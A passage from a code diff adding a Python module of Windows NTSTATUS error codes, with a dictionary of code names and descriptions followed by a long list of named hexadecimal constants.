+        0xC0360009: ("STATUS_IPSEC_THROTTLE_DROP","IPsec dropped a packet due to DOS throttle."),
+        0xC0368000: ("STATUS_IPSEC_DOSP_BLOCK","IPsec Dos Protection matched an explicit block rule."),
+        0xC0368001: ("STATUS_IPSEC_DOSP_RECEIVED_MULTICAST","IPsec Dos Protection received an IPsec specific multicast packet which is not allowed."),
+        0xC0368002: ("STATUS_IPSEC_DOSP_INVALID_PACKET","IPsec Dos Protection received an incorrectly formatted packet."),
+        0xC0368003: ("STATUS_IPSEC_DOSP_STATE_LOOKUP_FAILED","IPsec Dos Protection failed to lookup state."),
+        0xC0368004: ("STATUS_IPSEC_DOSP_MAX_ENTRIES","IPsec Dos Protection failed to create state because there are already maximum number of entries allowed by policy."),
+        0xC0368005: ("STATUS_IPSEC_DOSP_KEYMOD_NOT_ALLOWED","IPsec Dos Protection received an IPsec negotiation packet for a keying module which is not allowed by policy."),
+        0xC0368006: ("STATUS_IPSEC_DOSP_MAX_PER_IP_RATELIMIT_QUEUES","IPsec Dos Protection failed to create per internal IP ratelimit queue because there is already maximum number of queues allowed by policy."),
+        0xC038005B: ("STATUS_VOLMGR_MIRROR_NOT_SUPPORTED","The system does not support mirrored volumes."),
+        0xC038005C: ("STATUS_VOLMGR_RAID5_NOT_SUPPORTED","The system does not support RAID-5 volumes."),
+        0xC03A0014: ("STATUS_VIRTDISK_PROVIDER_NOT_FOUND","A virtual disk support provider for the specified file was not found."),
+        0xC03A0015: ("STATUS_VIRTDISK_NOT_VIRTUAL_DISK","The specified disk is not a virtual disk."),
+        0xC03A0016: ("STATUS_VHD_PARENT_VHD_ACCESS_DENIED","The chain of virtual hard disks is inaccessible. The process has not been granted access rights to the parent virtual hard disk for the differencing disk."),
+        0xC03A0017: ("STATUS_VHD_CHILD_PARENT_SIZE_MISMATCH","The chain of virtual hard disks is corrupted. There is a mismatch in the virtual sizes of the parent virtual hard disk and differencing disk."),
+        0xC03A0018: ("STATUS_VHD_DIFFERENCING_CHAIN_CYCLE_DETECTED","The chain of virtual hard disks is corrupted. A differencing disk is indicated in its own parent chain."),
+        0xC03A0019: ("STATUS_VHD_DIFFERENCING_CHAIN_ERROR_IN_PARENT","The chain of virtual hard disks is inaccessible. There was an error opening a virtual hard disk further up the chain."),
+}
+
+# Error Codes
+
+STATUS_SUCCESS                                                    = 0x00000000
+STATUS_WAIT_1                                                     = 0x00000001
+STATUS_WAIT_2                                                     = 0x00000002
+STATUS_WAIT_3                                                     = 0x00000003
+STATUS_WAIT_63                                                    = 0x0000003F
+STATUS_ABANDONED                                                  = 0x00000080
+STATUS_ABANDONED_WAIT_0                                           = 0x00000080
+STATUS_ABANDONED_WAIT_63                                          = 0x000000BF
+STATUS_USER_APC                                                   = 0x000000C0
+STATUS_ALERTED                                                    = 0x00000101
+STATUS_TIMEOUT                                                    = 0x00000102
+STATUS_PENDING                                                    = 0x00000103
+STATUS_REPARSE                                                    = 0x00000104
+STATUS_MORE_ENTRIES                                               = 0x00000105
+STATUS_NOT_ALL_ASSIGNED                                           = 0x00000106
+STATUS_SOME_NOT_MAPPED                                            = 0x00000107
+STATUS_OPLOCK_BREAK_IN_PROGRESS                                   = 0x00000108
+STATUS_VOLUME_MOUNTED                                             = 0x00000109
+STATUS_RXACT_COMMITTED                                            = 0x0000010A
+STATUS_NOTIFY_CLEANUP                                             = 0x0000010B
+STATUS_NOTIFY_ENUM_DIR                                            = 0x0000010C
+STATUS_NO_QUOTAS_FOR_ACCOUNT                                      = 0x0000010D
+STATUS_PRIMARY_TRANSPORT_CONNECT_FAILED                           = 0x0000010E
+STATUS_PAGE_FAULT_TRANSITION                                      = 0x00000110
+STATUS_PAGE_FAULT_DEMAND_ZERO                                     = 0x00000111
+STATUS_PAGE_FAULT_COPY_ON_WRITE                                   = 0x00000112
+STATUS_PAGE_FAULT_GUARD_PAGE                                      = 0x00000113
+STATUS_PAGE_FAULT_PAGING_FILE                                     = 0x00000114
+STATUS_CACHE_PAGE_LOCKED                                          = 0x00000115
+STATUS_CRASH_DUMP                                                 = 0x00000116
+STATUS_BUFFER_ALL_ZEROS                                           = 0x00000117
+STATUS_REPARSE_OBJECT                                             = 0x00000118
+STATUS_RESOURCE_REQUIREMENTS_CHANGED                              = 0x00000119
+STATUS_TRANSLATION_COMPLETE                                       = 0x00000120
+STATUS_DS_MEMBERSHIP_EVALUATED_LOCALLY                            = 0x00000121
+STATUS_NOTHING_TO_TERMINATE                                       = 0x00000122
+STATUS_PROCESS_NOT_IN_JOB                                         = 0x00000123
+STATUS_PROCESS_IN_JOB                                             = 0x00000124
+STATUS_VOLSNAP_HIBERNATE_READY                                    = 0x00000125
+STATUS_FSFILTER_OP_COMPLETED_SUCCESSFULLY                         = 0x00000126
+STATUS_INTERRUPT_VECTOR_ALREADY_CONNECTED                         = 0x00000127
+STATUS_INTERRUPT_STILL_CONNECTED                                  = 0x00000128
+STATUS_PROCESS_CLONED                                             = 0x00000129
+STATUS_FILE_LOCKED_WITH_ONLY_READERS                              = 0x0000012A
+STATUS_FILE_LOCKED_WITH_WRITERS                                   = 0x0000012B
+STATUS_RESOURCEMANAGER_READ_ONLY                                  = 0x00000202
+STATUS_WAIT_FOR_OPLOCK                                            = 0x00000367
+DBG_EXCEPTION_HANDLED                                             = 0x00010001
+DBG_CONTINUE                                                      = 0x00010002
+STATUS_FLT_IO_COMPLETE                                            = 0x001C0001
+STATUS_FILE_NOT_AVAILABLE                                         = 0xC0000467
+STATUS_CALLBACK_RETURNED_THREAD_AFFINITY                          = 0xC0000721
+STATUS_OBJECT_NAME_EXISTS                                         = 0x40000000
+STATUS_THREAD_WAS_SUSPENDED                                       = 0x40000001
+STATUS_WORKING_SET_LIMIT_RANGE                                    = 0x40000002
+STATUS_IMAGE_NOT_AT_BASE                                          = 0x40000003
+STATUS_RXACT_STATE_CREATED                                        = 0x40000004
+STATUS_SEGMENT_NOTIFICATION                                       = 0x40000005
+STATUS_LOCAL_USER_SESSION_KEY                                     = 0x40000006
+STATUS_BAD_CURRENT_DIRECTORY                                      = 0x40000007
+STATUS_SERIAL_MORE_WRITES                                         = 0x40000008
+STATUS_REGISTRY_RECOVERED                                         = 0x40000009
+STATUS_FT_READ_RECOVERY_FROM_BACKUP                               = 0x4000000A
+STATUS_FT_WRITE_RECOVERY                                          = 0x4000000B
+STATUS_SERIAL_COUNTER_TIMEOUT                                     = 0x4000000C
+STATUS_NULL_LM_PASSWORD                                           = 0x4000000D
+STATUS_IMAGE_MACHINE_TYPE_MISMATCH                                = 0x4000000E
+STATUS_RECEIVE_PARTIAL                                            = 0x4000000F
+STATUS_RECEIVE_EXPEDITED                                          = 0x40000010
+STATUS_RECEIVE_PARTIAL_EXPEDITED                                  = 0x40000011
+STATUS_EVENT_DONE                                                 = 0x40000012
+STATUS_EVENT_PENDING                                              = 0x40000013
+STATUS_CHECKING_FILE_SYSTEM                                       = 0x40000014
+STATUS_FATAL_APP_EXIT                                             = 0x40000015
+STATUS_PREDEFINED_HANDLE                                          = 0x40000016
+STATUS_WAS_UNLOCKED                                               = 0x40000017
+STATUS_SERVICE_NOTIFICATION                                       = 0x40000018
+STATUS_WAS_LOCKED                                                 = 0x40000019
+STATUS_LOG_HARD_ERROR                                             = 0x4000001A
+STATUS_ALREADY_WIN32                                              = 0x4000001B
+STATUS_WX86_UNSIMULATE                                            = 0x4000001C
+STATUS_WX86_CONTINUE                                              = 0x4000001D
+STATUS_WX86_SINGLE_STEP                                           = 0x4000001E
+STATUS_WX86_BREAKPOINT                                            = 0x4000001F
+STATUS_WX86_EXCEPTION_CONTINUE                                    = 0x40000020
+STATUS_WX86_EXCEPTION_LASTCHANCE                                  = 0x40000021
+STATUS_WX86_EXCEPTION_CHAIN                                       = 0x40000022
+STATUS_IMAGE_MACHINE_TYPE_MISMATCH_EXE                            = 0x40000023
+STATUS_NO_YIELD_PERFORMED                                         = 0x40000024
+STATUS_TIMER_RESUME_IGNORED                                       = 0x40000025
+STATUS_ARBITRATION_UNHANDLED                                      = 0x40000026
+STATUS_CARDBUS_NOT_SUPPORTED                                      = 0x40000027
+STATUS_WX86_CREATEWX86TIB                                         = 0x40000028
+STATUS_MP_PROCESSOR_MISMATCH                                      = 0x40000029
+STATUS_HIBERNATED                                                 = 0x4000002A
+STATUS_RESUME_HIBERNATION                                         = 0x4000002B
+STATUS_FIRMWARE_UPDATED                                           = 0x4000002C
+STATUS_DRIVERS_LEAKING_LOCKED_PAGES                               = 0x4000002D
+STATUS_MESSAGE_RETRIEVED                                          = 0x4000002E
+STATUS_SYSTEM_POWERSTATE_TRANSITION                               = 0x4000002F
+STATUS_ALPC_CHECK_COMPLETION_LIST                                 = 0x40000030
+STATUS_SYSTEM_POWERSTATE_COMPLEX_TRANSITION                       = 0x40000031
+STATUS_ACCESS_AUDIT_BY_POLICY                                     = 0x40000032
+STATUS_ABANDON_HIBERFILE                                          = 0x40000033
+STATUS_BIZRULES_NOT_ENABLED                                       = 0x40000034
+STATUS_WAKE_SYSTEM                                                = 0x40000294
+STATUS_DS_SHUTTING_DOWN                                           = 0x40000370
+DBG_REPLY_LATER                                                   = 0x40010001
+DBG_UNABLE_TO_PROVIDE_HANDLE                                      = 0x40010002
+DBG_TERMINATE_THREAD                                              = 0x40010003
+DBG_TERMINATE_PROCESS                                             = 0x40010004
+DBG_CONTROL_C                                                     = 0x40010005
+DBG_PRINTEXCEPTION_C                                              = 0x40010006
+DBG_RIPEXCEPTION                                                  = 0x40010007
+DBG_CONTROL_BREAK                                                 = 0x40010008
+DBG_COMMAND_EXCEPTION                                             = 0x40010009
+RPC_NT_UUID_LOCAL_ONLY                                            = 0x40020056
+RPC_NT_SEND_INCOMPLETE                                            = 0x400200AF
+STATUS_CTX_CDM_CONNECT                                            = 0x400A0004
+STATUS_CTX_CDM_DISCONNECT                                         = 0x400A0005
+STATUS_SXS_RELEASE_ACTIVATION_CONTEXT                             = 0x4015000D
+STATUS_RECOVERY_NOT_NEEDED                                        = 0x40190034
+STATUS_RM_ALREADY_STARTED                                         = 0x40190035
+STATUS_LOG_NO_RESTART                                             = 0x401A000C
+STATUS_VIDEO_DRIVER_DEBUG_REPORT_REQUEST                          = 0x401B00EC
+STATUS_GRAPHICS_PARTIAL_DATA_POPULATED                            = 0x401E000A
+STATUS_GRAPHICS_DRIVER_MISMATCH                                   = 0x401E0117
+STATUS_GRAPHICS_MODE_NOT_PINNED                                   = 0x401E0307
+STATUS_GRAPHICS_NO_PREFERRED_MODE                                 = 0x401E031E
+STATUS_GRAPHICS_DATASET_IS_EMPTY                                  = 0x401E034B
+STATUS_GRAPHICS_NO_MORE_ELEMENTS_IN_DATASET                       = 0x401E034C
+STATUS_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_PINNED   = 0x401E0351
+STATUS_GRAPHICS_UNKNOWN_CHILD_STATUS                              = 0x401E042F
+STATUS_GRAPHICS_LEADLINK_START_DEFERRED                           = 0x401E0437
+STATUS_GRAPHICS_POLLING_TOO_FREQUENTLY                            = 0x401E0439
+STATUS_GRAPHICS_START_DEFERRED                                    = 0x401E043A
+STATUS_NDIS_INDICATION_REQUIRED                                   = 0x40230001
+STATUS_GUARD_PAGE_VIOLATION                                       = 0x80000001
+STATUS_DATATYPE_MISALIGNMENT                                      = 0x80000002
+STATUS_BREAKPOINT                                                 = 0x80000003
+STATUS_SINGLE_STEP                                                = 0x80000004
+STATUS_BUFFER_OVERFLOW                                            = 0x80000005
+STATUS_NO_MORE_FILES                                              = 0x80000006
+STATUS_WAKE_SYSTEM_DEBUGGER                                       = 0x80000007
+STATUS_HANDLES_CLOSED                                             = 0x8000000A
+STATUS_NO_INHERITANCE                                             = 0x8000000B
+STATUS_GUID_SUBSTITUTION_MADE                                     = 0x8000000C
+STATUS_PARTIAL_COPY                                               = 0x8000000D
+STATUS_DEVICE_PAPER_EMPTY                                         = 0x8000000E
+STATUS_DEVICE_POWERED_OFF                                         = 0x8000000F
+STATUS_DEVICE_OFF_LINE                                            = 0x80000010
+STATUS_DEVICE_BUSY                                                = 0x80000011
+STATUS_NO_MORE_EAS                                                = 0x80000012
+STATUS_INVALID_EA_NAME                                            = 0x80000013
+STATUS_EA_LIST_INCONSISTENT                                       = 0x80000014
+STATUS_INVALID_EA_FLAG                                            = 0x80000015
+STATUS_VERIFY_REQUIRED                                            = 0x80000016
+STATUS_EXTRANEOUS_INFORMATION                                     = 0x80000017
+STATUS_RXACT_COMMIT_NECESSARY                                     = 0x80000018
+STATUS_NO_MORE_ENTRIES                                            = 0x8000001A
+STATUS_FILEMARK_DETECTED                                          = 0x8000001B
+STATUS_MEDIA_CHANGED                                              = 0x8000001C
+STATUS_BUS_RESET                                                  = 0x8000001D
+STATUS_END_OF_MEDIA                                               = 0x8000001E
+STATUS_BEGINNING_OF_MEDIA                                         = 0x8000001F
+STATUS_MEDIA_CHECK                                                = 0x80000020
+STATUS_SETMARK_DETECTED                                           = 0x80000021
+STATUS_NO_DATA_DETECTED                                           = 0x80000022
+STATUS_REDIRECTOR_HAS_OPEN_HANDLES                                = 0x80000023
+STATUS_SERVER_HAS_OPEN_HANDLES                                    = 0x80000024
+STATUS_ALREADY_DISCONNECTED                                       = 0x80000025
+STATUS_LONGJUMP                                                   = 0x80000026
+STATUS_CLEANER_CARTRIDGE_INSTALLED                                = 0x80000027
+STATUS_PLUGPLAY_QUERY_VETOED                                      = 0x80000028
+STATUS_UNWIND_CONSOLIDATE                                         = 0x80000029
+STATUS_REGISTRY_HIVE_RECOVERED                                    = 0x8000002A
+STATUS_DLL_MIGHT_BE_INSECURE                                      = 0x8000002B
+STATUS_DLL_MIGHT_BE_INCOMPATIBLE                                  = 0x8000002C
+STATUS_STOPPED_ON_SYMLINK                                         = 0x8000002D
+STATUS_DEVICE_REQUIRES_CLEANING                                   = 0x80000288
+STATUS_DEVICE_DOOR_OPEN                                           = 0x80000289
+STATUS_DATA_LOST_REPAIR                                           = 0x80000803
+DBG_EXCEPTION_NOT_HANDLED                                         = 0x80010001
+STATUS_CLUSTER_NODE_ALREADY_UP                                    = 0x80130001
+STATUS_CLUSTER_NODE_ALREADY_DOWN                                  = 0x80130002
+STATUS_CLUSTER_NETWORK_ALREADY_ONLINE                             = 0x80130003
+STATUS_CLUSTER_NETWORK_ALREADY_OFFLINE                            = 0x80130004
+STATUS_CLUSTER_NODE_ALREADY_MEMBER                                = 0x80130005
+STATUS_COULD_NOT_RESIZE_LOG                                       = 0x80190009
+STATUS_NO_TXF_METADATA                                            = 0x80190029
+STATUS_CANT_RECOVER_WITH_HANDLE_OPEN                              = 0x80190031
+STATUS_TXF_METADATA_ALREADY_PRESENT                               = 0x80190041
+STATUS_TRANSACTION_SCOPE_CALLBACKS_NOT_SET                        = 0x80190042
+STATUS_VIDEO_HUNG_DISPLAY_DRIVER_THREAD_RECOVERED                 = 0x801B00EB
+STATUS_FLT_BUFFER_TOO_SMALL                                       = 0x801C0001
+STATUS_FVE_PARTIAL_METADATA                                       = 0x80210001
+STATUS_FVE_TRANSIENT_STATE                                        = 0x80210002
+STATUS_UNSUCCESSFUL                                               = 0xC0000001
+STATUS_NOT_IMPLEMENTED                                            = 0xC0000002
+STATUS_INVALID_INFO_CLASS                                         = 0xC0000003
+STATUS_INFO_LENGTH_MISMATCH                                       = 0xC0000004
+STATUS_ACCESS_VIOLATION                                           = 0xC0000005
+STATUS_IN_PAGE_ERROR                                              = 0xC0000006
+STATUS_PAGEFILE_QUOTA                                             = 0xC0000007
+STATUS_INVALID_HANDLE                                             = 0xC0000008
+STATUS_BAD_INITIAL_STACK                                          = 0xC0000009
+STATUS_BAD_INITIAL_PC                                             = 0xC000000A
+STATUS_INVALID_CID                                                = 0xC000000B
+STATUS_TIMER_NOT_CANCELED                                         = 0xC000000C
+STATUS_INVALID_PARAMETER                                          = 0xC000000D
+STATUS_NO_SUCH_DEVICE                                             = 0xC000000E
+STATUS_NO_SUCH_FILE                                               = 0xC000000F
+STATUS_INVALID_DEVICE_REQUEST                                     = 0xC0000010
+STATUS_END_OF_FILE                                                = 0xC0000011
+STATUS_WRONG_VOLUME                                               = 0xC0000012
+STATUS_NO_MEDIA_IN_DEVICE                                         = 0xC0000013
+STATUS_UNRECOGNIZED_MEDIA                                         = 0xC0000014
+STATUS_NONEXISTENT_SECTOR                                         = 0xC0000015
+STATUS_MORE_PROCESSING_REQUIRED                                   = 0xC0000016
+STATUS_NO_MEMORY                                                  = 0xC0000017
+STATUS_CONFLICTING_ADDRESSES                                      = 0xC0000018
+STATUS_NOT_MAPPED_VIEW                                            = 0xC0000019
+STATUS_UNABLE_TO_FREE_VM                                          = 0xC000001A
+STATUS_UNABLE_TO_DELETE_SECTION                                   = 0xC000001B
+STATUS_INVALID_SYSTEM_SERVICE                                     = 0xC000001C
+STATUS_ILLEGAL_INSTRUCTION                                        = 0xC000001D
+STATUS_INVALID_LOCK_SEQUENCE                                      = 0xC000001E
+STATUS_INVALID_VIEW_SIZE                                          = 0xC000001F
+STATUS_INVALID_FILE_FOR_SECTION                                   = 0xC0000020
+STATUS_ALREADY_COMMITTED                                          = 0xC0000021
+STATUS_ACCESS_DENIED                                              = 0xC0000022
+STATUS_BUFFER_TOO_SMALL                                           = 0xC0000023
+STATUS_OBJECT_TYPE_MISMATCH                                       = 0xC0000024
+STATUS_NONCONTINUABLE_EXCEPTION                                   = 0xC0000025
+STATUS_INVALID_DISPOSITION                                        = 0xC0000026
+STATUS_UNWIND                                                     = 0xC0000027
+STATUS_BAD_STACK                                                  = 0xC0000028
+STATUS_INVALID_UNWIND_TARGET                                      = 0xC0000029
+STATUS_NOT_LOCKED                                                 = 0xC000002A
+STATUS_PARITY_ERROR                                               = 0xC000002B
+STATUS_UNABLE_TO_DECOMMIT_VM                                      = 0xC000002C
+STATUS_NOT_COMMITTED                                              = 0xC000002D
+STATUS_INVALID_PORT_ATTRIBUTES                                    = 0xC000002E
+STATUS_PORT_MESSAGE_TOO_LONG                                      = 0xC000002F
+STATUS_INVALID_PARAMETER_MIX                                      = 0xC0000030
+STATUS_INVALID_QUOTA_LOWER                                        = 0xC0000031
+STATUS_DISK_CORRUPT_ERROR                                         = 0xC0000032
+STATUS_OBJECT_NAME_INVALID                                        = 0xC0000033
+STATUS_OBJECT_NAME_NOT_FOUND                                      = 0xC0000034
+STATUS_OBJECT_NAME_COLLISION                                      = 0xC0000035
+STATUS_PORT_DISCONNECTED                                          = 0xC0000037
+STATUS_DEVICE_ALREADY_ATTACHED                                    = 0xC0000038
+STATUS_OBJECT_PATH_INVALID                                        = 0xC0000039
+STATUS_OBJECT_PATH_NOT_FOUND                                      = 0xC000003A
+STATUS_OBJECT_PATH_SYNTAX_BAD                                     = 0xC000003B
+STATUS_DATA_OVERRUN                                               = 0xC000003C
+STATUS_DATA_LATE_ERROR                                            = 0xC000003D
+STATUS_DATA_ERROR                                                 = 0xC000003E
+STATUS_CRC_ERROR                                                  = 0xC000003F
+STATUS_SECTION_TOO_BIG                                            = 0xC0000040
+STATUS_PORT_CONNECTION_REFUSED                                    = 0xC0000041
+STATUS_INVALID_PORT_HANDLE                                        = 0xC0000042
+STATUS_SHARING_VIOLATION                                          = 0xC0000043
+STATUS_QUOTA_EXCEEDED                                             = 0xC0000044
+STATUS_INVALID_PAGE_PROTECTION                                    = 0xC0000045
+STATUS_MUTANT_NOT_OWNED                                           = 0xC0000046
+STATUS_SEMAPHORE_LIMIT_EXCEEDED                                   = 0xC0000047
+STATUS_PORT_ALREADY_SET                                           = 0xC0000048
+STATUS_SECTION_NOT_IMAGE                                          = 0xC0000049
+STATUS_SUSPEND_COUNT_EXCEEDED                                     = 0xC000004A
+STATUS_THREAD_IS_TERMINATING                                      = 0xC000004B
+STATUS_BAD_WORKING_SET_LIMIT                                      = 0xC000004C
+STATUS_INCOMPATIBLE_FILE_MAP                                      = 0xC000004D
+STATUS_SECTION_PROTECTION                                         = 0xC000004E
+STATUS_EAS_NOT_SUPPORTED                                          = 0xC000004F
+STATUS_EA_TOO_LARGE                                               = 0xC0000050
+STATUS_NONEXISTENT_EA_ENTRY                                       = 0xC0000051
+STATUS_NO_EAS_ON_FILE                                             = 0xC0000052
+STATUS_EA_CORRUPT_ERROR                                           = 0xC0000053
+STATUS_FILE_LOCK_CONFLICT                                         = 0xC0000054
+STATUS_LOCK_NOT_GRANTED                                           = 0xC0000055
+STATUS_DELETE_PENDING                                             = 0xC0000056
+STATUS_CTL_FILE_NOT_SUPPORTED                                     = 0xC0000057
+STATUS_UNKNOWN_REVISION                                           = 0xC0000058
+STATUS_REVISION_MISMATCH                                          = 0xC0000059
+STATUS_INVALID_OWNER                                              = 0xC000005A
+STATUS_INVALID_PRIMARY_GROUP                                      = 0xC000005B
+STATUS_NO_IMPERSONATION_TOKEN                                     = 0xC000005C
+STATUS_CANT_DISABLE_MANDATORY                                     = 0xC000005D
+STATUS_NO_LOGON_SERVERS                                           = 0xC000005E
+STATUS_NO_SUCH_LOGON_SESSION                                      = 0xC000005F
+STATUS_NO_SUCH_PRIVILEGE                                          = 0xC0000060
+STATUS_PRIVILEGE_NOT_HELD                                         = 0xC0000061
+STATUS_INVALID_ACCOUNT_NAME                                       = 0xC0000062
+STATUS_USER_EXISTS                                                = 0xC0000063
+STATUS_NO_SUCH_USER                                               = 0xC0000064
+STATUS_GROUP_EXISTS                                               = 0xC0000065
+STATUS_NO_SUCH_GROUP                                              = 0xC0000066
+STATUS_MEMBER_IN_GROUP                                            = 0xC0000067
+STATUS_MEMBER_NOT_IN_GROUP                                        = 0xC0000068
+STATUS_LAST_ADMIN                                                 = 0xC0000069
+STATUS_WRONG_PASSWORD                                             = 0xC000006A
+STATUS_ILL_FORMED_PASSWORD                                        = 0xC000006B
+STATUS_PASSWORD_RESTRICTION                                       = 0xC000006C
+STATUS_LOGON_FAILURE                                              = 0xC000006D
+STATUS_ACCOUNT_RESTRICTION                                        = 0xC000006E
+STATUS_INVALID_LOGON_HOURS                                        = 0xC000006F
+STATUS_INVALID_WORKSTATION                                        = 0xC0000070
+STATUS_PASSWORD_EXPIRED                                           = 0xC0000071
+STATUS_ACCOUNT_DISABLED                                           = 0xC0000072
+STATUS_NONE_MAPPED                                                = 0xC0000073
+STATUS_TOO_MANY_LUIDS_REQUESTED                                   = 0xC0000074
+STATUS_LUIDS_EXHAUSTED                                            = 0xC0000075
+STATUS_INVALID_SUB_AUTHORITY                                      = 0xC0000076
+STATUS_INVALID_ACL                                                = 0xC0000077
+STATUS_INVALID_SID                                                = 0xC0000078
+STATUS_INVALID_SECURITY_DESCR                                     = 0xC0000079
+STATUS_PROCEDURE_NOT_FOUND                                        = 0xC000007A
+STATUS_INVALID_IMAGE_FORMAT                                       = 0xC000007B
+STATUS_NO_TOKEN                                                   = 0xC000007C
+STATUS_BAD_INHERITANCE_ACL                                        = 0xC000007D
+STATUS_RANGE_NOT_LOCKED                                           = 0xC000007E
+STATUS_DISK_FULL                                                  = 0xC000007F
+STATUS_SERVER_DISABLED                                            = 0xC0000080
+STATUS_SERVER_NOT_DISABLED                                        = 0xC0000081
+STATUS_TOO_MANY_GUIDS_REQUESTED                                   = 0xC0000082
+STATUS_GUIDS_EXHAUSTED                                            = 0xC0000083
+STATUS_INVALID_ID_AUTHORITY                                       = 0xC0000084
+STATUS_AGENTS_EXHAUSTED                                           = 0xC0000085
+STATUS_INVALID_VOLUME_LABEL                                       = 0xC0000086
+STATUS_SECTION_NOT_EXTENDED                                       = 0xC0000087
+STATUS_NOT_MAPPED_DATA                                            = 0xC0000088
+STATUS_RESOURCE_DATA_NOT_FOUND                                    = 0xC0000089
+STATUS_RESOURCE_TYPE_NOT_FOUND                                    = 0xC000008A
+STATUS_RESOURCE_NAME_NOT_FOUND                                    = 0xC000008B
+STATUS_ARRAY_BOUNDS_EXCEEDED                                      = 0xC000008C
+STATUS_FLOAT_DENORMAL_OPERAND                                     = 0xC000008D
+STATUS_FLOAT_DIVIDE_BY_ZERO                                       = 0xC000008E
+STATUS_FLOAT_INEXACT_RESULT                                       = 0xC000008F
+STATUS_FLOAT_INVALID_OPERATION                                    = 0xC0000090
+STATUS_FLOAT_OVERFLOW                                             = 0xC0000091
+STATUS_FLOAT_STACK_CHECK                                          = 0xC0000092
+STATUS_FLOAT_UNDERFLOW                                            = 0xC0000093
+STATUS_INTEGER_DIVIDE_BY_ZERO                                     = 0xC0000094
+STATUS_INTEGER_OVERFLOW                                           = 0xC0000095
+STATUS_PRIVILEGED_INSTRUCTION                                     = 0xC0000096
+STATUS_TOO_MANY_PAGING_FILES                                      = 0xC0000097
+STATUS_FILE_INVALID                                               = 0xC0000098
+STATUS_ALLOTTED_SPACE_EXCEEDED                                    = 0xC0000099
+STATUS_INSUFFICIENT_RESOURCES                                     = 0xC000009A
+STATUS_DFS_EXIT_PATH_FOUND                                        = 0xC000009B
+STATUS_DEVICE_DATA_ERROR                                          = 0xC000009C
+STATUS_DEVICE_NOT_CONNECTED                                       = 0xC000009D
+STATUS_FREE_VM_NOT_AT_BASE                                        = 0xC000009F
+STATUS_MEMORY_NOT_ALLOCATED                                       = 0xC00000A0
+STATUS_WORKING_SET_QUOTA                                          = 0xC00000A1
+STATUS_MEDIA_WRITE_PROTECTED                                      = 0xC00000A2
+STATUS_DEVICE_NOT_READY                                           = 0xC00000A3
+STATUS_INVALID_GROUP_ATTRIBUTES                                   = 0xC00000A4
+STATUS_BAD_IMPERSONATION_LEVEL                                    = 0xC00000A5
+STATUS_CANT_OPEN_ANONYMOUS                                        = 0xC00000A6
+STATUS_BAD_VALIDATION_CLASS                                       = 0xC00000A7
+STATUS_BAD_TOKEN_TYPE                                             = 0xC00000A8
+STATUS_BAD_MASTER_BOOT_RECORD                                     = 0xC00000A9
+STATUS_INSTRUCTION_MISALIGNMENT                                   = 0xC00000AA
+STATUS_INSTANCE_NOT_AVAILABLE                                     = 0xC00000AB
+STATUS_PIPE_NOT_AVAILABLE                                         = 0xC00000AC
+STATUS_INVALID_PIPE_STATE                                         = 0xC00000AD
+STATUS_PIPE_BUSY                                                  = 0xC00000AE
+STATUS_ILLEGAL_FUNCTION                                           = 0xC00000AF
+STATUS_PIPE_DISCONNECTED                                          = 0xC00000B0
+STATUS_PIPE_CLOSING                                               = 0xC00000B1
+STATUS_PIPE_CONNECTED                                             = 0xC00000B2
+STATUS_PIPE_LISTENING                                             = 0xC00000B3
+STATUS_INVALID_READ_MODE                                          = 0xC00000B4
+STATUS_IO_TIMEOUT                                                 = 0xC00000B5
+STATUS_FILE_FORCED_CLOSED                                         = 0xC00000B6
+STATUS_PROFILING_NOT_STARTED                                      = 0xC00000B7
+STATUS_PROFILING_NOT_STOPPED                                      = 0xC00000B8
+STATUS_COULD_NOT_INTERPRET                                        = 0xC00000B9
+STATUS_FILE_IS_A_DIRECTORY                                        = 0xC00000BA
+STATUS_NOT_SUPPORTED                                              = 0xC00000BB
+STATUS_REMOTE_NOT_LISTENING                                       = 0xC00000BC
+STATUS_DUPLICATE_NAME                                             = 0xC00000BD
+STATUS_BAD_NETWORK_PATH                                           = 0xC00000BE
+STATUS_NETWORK_BUSY                                               = 0xC00000BF
+STATUS_DEVICE_DOES_NOT_EXIST                                      = 0xC00000C0
+STATUS_TOO_MANY_COMMANDS                                          = 0xC00000C1
+STATUS_ADAPTER_HARDWARE_ERROR                                     = 0xC00000C2
+STATUS_INVALID_NETWORK_RESPONSE                                   = 0xC00000C3
+STATUS_UNEXPECTED_NETWORK_ERROR                                   = 0xC00000C4
+STATUS_BAD_REMOTE_ADAPTER                                         = 0xC00000C5
+STATUS_PRINT_QUEUE_FULL                                           = 0xC00000C6
+STATUS_NO_SPOOL_SPACE                                             = 0xC00000C7
+STATUS_PRINT_CANCELLED                                            = 0xC00000C8
+STATUS_NETWORK_NAME_DELETED                                       = 0xC00000C9
+STATUS_NETWORK_ACCESS_DENIED                                      = 0xC00000CA
+STATUS_BAD_DEVICE_TYPE                                            = 0xC00000CB
+STATUS_BAD_NETWORK_NAME                                           = 0xC00000CC
+STATUS_TOO_MANY_NAMES                                             = 0xC00000CD
+STATUS_TOO_MANY_SESSIONS                                          = 0xC00000CE
+STATUS_SHARING_PAUSED                                             = 0xC00000CF
+STATUS_REQUEST_NOT_ACCEPTED                                       = 0xC00000D0
+STATUS_REDIRECTOR_PAUSED                                          = 0xC00000D1
+STATUS_NET_WRITE_FAULT                                            = 0xC00000D2
+STATUS_PROFILING_AT_LIMIT                                         = 0xC00000D3
+STATUS_NOT_SAME_DEVICE                                            = 0xC00000D4
+STATUS_FILE_RENAMED                                               = 0xC00000D5
+STATUS_VIRTUAL_CIRCUIT_CLOSED                                     = 0xC00000D6
+STATUS_NO_SECURITY_ON_OBJECT                                      = 0xC00000D7
+STATUS_CANT_WAIT                                                  = 0xC00000D8
+STATUS_PIPE_EMPTY                                                 = 0xC00000D9
+STATUS_CANT_ACCESS_DOMAIN_INFO                                    = 0xC00000DA
+STATUS_CANT_TERMINATE_SELF                                        = 0xC00000DB
+STATUS_INVALID_SERVER_STATE                                       = 0xC00000DC
+STATUS_INVALID_DOMAIN_STATE                                       = 0xC00000DD
+STATUS_INVALID_DOMAIN_ROLE                                        = 0xC00000DE
+STATUS_NO_SUCH_DOMAIN                                             = 0xC00000DF
+STATUS_DOMAIN_EXISTS                                              = 0xC00000E0
+STATUS_DOMAIN_LIMIT_EXCEEDED                                      = 0xC00000E1
+STATUS_OPLOCK_NOT_GRANTED                                         = 0xC00000E2
+STATUS_INVALID_OPLOCK_PROTOCOL                                    = 0xC00000E3
+STATUS_INTERNAL_DB_CORRUPTION                                     = 0xC00000E4
+STATUS_INTERNAL_ERROR                                             = 0xC00000E5
